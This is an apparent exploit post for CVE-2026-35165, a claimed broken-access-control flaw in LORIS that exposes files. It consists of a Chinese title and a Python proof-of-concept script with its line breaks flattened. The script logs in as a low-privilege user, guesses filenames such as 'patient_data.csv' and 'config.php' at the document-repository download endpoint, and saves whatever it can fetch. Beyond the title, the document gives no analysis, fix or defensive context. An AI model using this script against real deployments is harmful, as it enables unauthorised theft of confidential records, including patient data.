CVE-2026-35165 LORIS访问控制漏洞致文件泄露

import requests # Configuration target_url = "https://example.com/document_repository/download" login_url = "https://example.com/login" username = "low_priv_user" password = "password" # Common filenames to brute force (examples) wordlist = ["patient_data.csv", "config.php", "admin_notes.pdf", "results_2026.docx"] def exploit(): session = requests.Session() # Step 1: Authenticate as a low-privilege user login_data = {"username": username, "password": password} session.post(login_url, data=login_data) print(f"[*] Logged in as {username}") # Step 2: Brute force filenames for filename in wordlist: # Parameter name may vary (e.g., 'file', 'filename', 'id') params = {"file": filename} response = session.get(target_url, params=params) # Check if download was successful (HTTP 200 and valid content) if response.status_code == 200 and "Content-Disposition" in response.headers: print(f"[+] SUCCESS! Downloaded: {filename}") # Save file with open(f"downloaded_{filename}", "wb") as f: f.write(response.content) else: print(f"[-] Failed to access: {filename}") if __name__ == "__main__": exploit()